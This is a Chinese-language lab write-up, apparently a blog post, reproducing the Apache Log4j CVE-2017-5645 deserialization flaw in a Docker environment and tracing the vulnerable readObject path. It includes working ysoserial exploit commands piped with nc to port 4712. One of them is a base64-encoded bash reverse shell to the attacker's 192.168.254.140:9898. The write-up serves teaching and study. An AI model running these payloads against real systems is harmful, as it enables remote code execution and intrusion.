【CVE-2017-5645】Apache Log4j Server 反序列化命令执行漏洞

目录

实验目的

技能增长

预备知识

基础知识

Apache

Apache Log4j

Docker

Docker容器与虚拟化的区别

漏洞描述

漏洞危害

漏洞影响版本

漏洞利用条件

实验环境

攻击机

目标机

环境搭建

漏洞验证

漏洞分析

漏洞修复


实验目的

        复现并分析【CVE-2017-5645】Apache Log4j Server 反序列化命令执行漏洞,使用docker技术搭建漏洞环境,在实验环境中复现该漏洞。

技能增长

        通过本次实验,可以了解Apache Web服务器,了解docker容器技术,使用docker技术搭建实验环境,并在实验环境中复现【CVE-2017-5645】Apache Log4j Server 反序列化命令执行漏洞。

预备知识

基础知识

Apache

        Apache HTTP Server(简称Apache)是Apache软件基金会的一个开放源码的网页服务器,可以在大多数计算机操作系统中运行,由于其多平台和安全性被广泛使用,是最流行的Web服务器端软件之一。它快速、可靠并且可通过简单的API扩展,将Perl/Python等解释器编译到服务器中。

Apache Log4j

        Log4j是Apache的一个开源项目,通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码。Log4j在工程中可以易用,方便等代替了 System.out 等打印语句,它是 Java 下最流行的日志输入工具,一些著名的开源项目,像spring、hibernate、struts都使用该 工具 作为日志输入工具,可以帮助调试(有时候debug是发挥不了作用的)和分析。

Docker

        Docker 技术使用 Linux 内核和内核功能(例如 Cgroups 和 namespaces)来分隔进程,以便各进程相互独立运行。这种独立性正是采用容器的目的所在;它可以独立运行多种进程、多个应用,更加充分地发挥基础设施的作用,同时保持各个独立系统的安全性。

Docker容器与虚拟化的区别

        两者为互补关系。虚拟化使得您的操作系统(Windows 或 Linux)可同时在单个硬件系统上运行。 容器则可共享同一个操作系统内核,将应用进程与系统其他部分隔离开。例如:ARM  Linux 系统运行 ARM Linux 容器,x86 Linux 系统运行 x86 Linux 容器,x86 Windows 系统运行  x86 Windows 容器。Linux 容器具有极佳的可移植性,但前提是它们必须与底层系统兼容。

漏洞描述

        攻击者可以通过发送一个特别制作的2进制payload,在组件将字节反序列化为对象时,触发并执行构造的payload代码。该漏洞主要是由于在处理ObjectInputStream时,接收函数对于不可靠来源的input没有过滤。可以通过给TcpSocketServer和UdpSocketServer添加可配置的过滤功能以及一些相关设置,可以有效的解决该漏洞。

漏洞危害

        漏洞危害评分:7.5,攻击者可利用该漏洞执行任意代码。

漏洞影响版本

        Apache Log4j 2.8.2之前的2.x版本

漏洞利用条件

        无

实验环境

攻击机

系统类别:Kali Linux

内核版本:Linux kali 5.16.0-kali7-amd64

攻击机IP:192.168.254.140

目标机

系统类别:Ubuntu_16.04

目标机IP:192.168.254.89

软件版本:Apache Log4j 2.8.1

环境搭建

进入Ubuntu实验机,启动docker(环境默认已启动):

service start docker

输入命令:

ls

查看当前目录,可以发现log4j文件夹

输入命令

cd log4j

进入log4j文件夹,输入命令

ls

查看当前目录文件,可以看到CVE-2017-5645

输入

cd CVE-2017-5645

进入该文件夹

输入

docker-compose up -d

启动docker容器

 输入命令:

docker ps

可以查看容器状态

环境启动后,将在4712端口开启一个TCPServer。 

漏洞验证

打开攻击机kali

输入命令

nmap 192.168.254.89 -p 4712

可以看到4712端口是正常开启的。

我们使用ysoserial生成payload,然后直接发送给192.168.254.89:4712端口即可。

ysoserial是什么?

ysoserial是在常见的java库中发现的一组实用程序和面向属性的编程“小工具链”,在适当的条件下,可以利用执行对象不安全反序列化的Java应用程序。主驱动程序接受用户指定的命令,并将其封装在用户指定的小工具链中,然后将这些对象序列化为stdout。当类路径上具有所需小工具的应用程序不安全地反序列化该数据时,将自动调用该链并导致在应用程序主机上执行该命令。

ysoserial项目地址:

https://github.com/frohoff/ysoserial

下载后打包成jar文件进行使用。

执行命令:

java -jar ysoserial-master-v0.0.5-gb617b7b-16.jar CommonsCollections5 "touch /tmp/testsuccess" | nc 192.168.254.89 4712

返回ubuntu,执行命令进入容器

docker exec -it [容器id] /bin/bash

 执行命令

cd tmp

进入tmp文件夹,查看目录文件,可以看到testsuccess文件,可见touch /tmp/testsuccess执行成功。

我们把命令替换成反弹shell的命令,就能够成功弹回shell。

首先,我们打开在线生成shell的网站,网址为

https://forum.ywhack.com/shell.php

输入kali攻击机的ip地址以及对应的端口,就能够在线生成shell,我们复制第一个shell

然后,我们将生成的shell进行base64加密,在线加密的网址为

Base64 在线编码解码 | Base64 加密解密 - Base64.us

将加密的结果复制

在kali中输入命令

nc -lvvp 9898

 对9898端口进行监听

重新打开一个终端,输入命令

java -jar ysoserial-master-v0.0.5-gb617b7b-16.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI1NC4xNDAvOTg5OCAwPiYx}|{base64,-d}|{bash,-i}" | nc 192.168.254.89 4712

 执行后监听9898端口的终端就会弹出shell

 能够正确执行命令,shell反弹成功

漏洞分析

首先看下TcpSocketServer类结构

 CommandLineArguments类是自定义处理命令行参数用的,SocketHandler类用于处理客户端连接,然后就是三个构造函数,接着create*SocketServer函数用于创建各类服务端,main用于直接运行的,extract用于创建一个ServerSocket并返回。

我们来看看接受客户端的情况,如下图

注意红框里,将clientSocket作为参数实例化SocketHandler类,然后放入handlers中,handlers是一个ConcurrentMap。最后调用了start函数。

我们去看看这个 SocketHandler 具体做了什么

构造函数里,获取了 socket 中的数据流后,传入了 logEventInput 的wrapStream中,看看logEventInput

是一个LogEventBridge类型的

我们跟进 wrapStream函数

发现有AbstractLogEventBridge和ObjectInputStreamLogEventBridge实现了,这里我们当然选择跟进ObjectInputStreamLogEventBridge类中

就将传入的inputStream用ObjectInputStream包装一下然后返回了

那么这个SocketHandler中的inputStream就是一个ObjectInputStream对象了

我们接着看SocketHandler的run函数

肯定是ObjectInputStreamLogEventBridge里的logEvents

inputStream传入logEvents后,直接调用了readObject函数,这里就触发了反序列化。

查看UDP的结构,UDP结构和TCP的类似

直接查看run函数

其他操作都很正常,接收数据后,提取二进制流赋值给bais,然后带入wrapStream处理成ObjectInputStream,然后传入ObjectInputStreamLogEventBridge中的logEvents函数,就和TCP中的触发一样了,直接调用的readObject函数。 

漏洞修复

更新到最新版本

  • 10
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 13
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 13
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值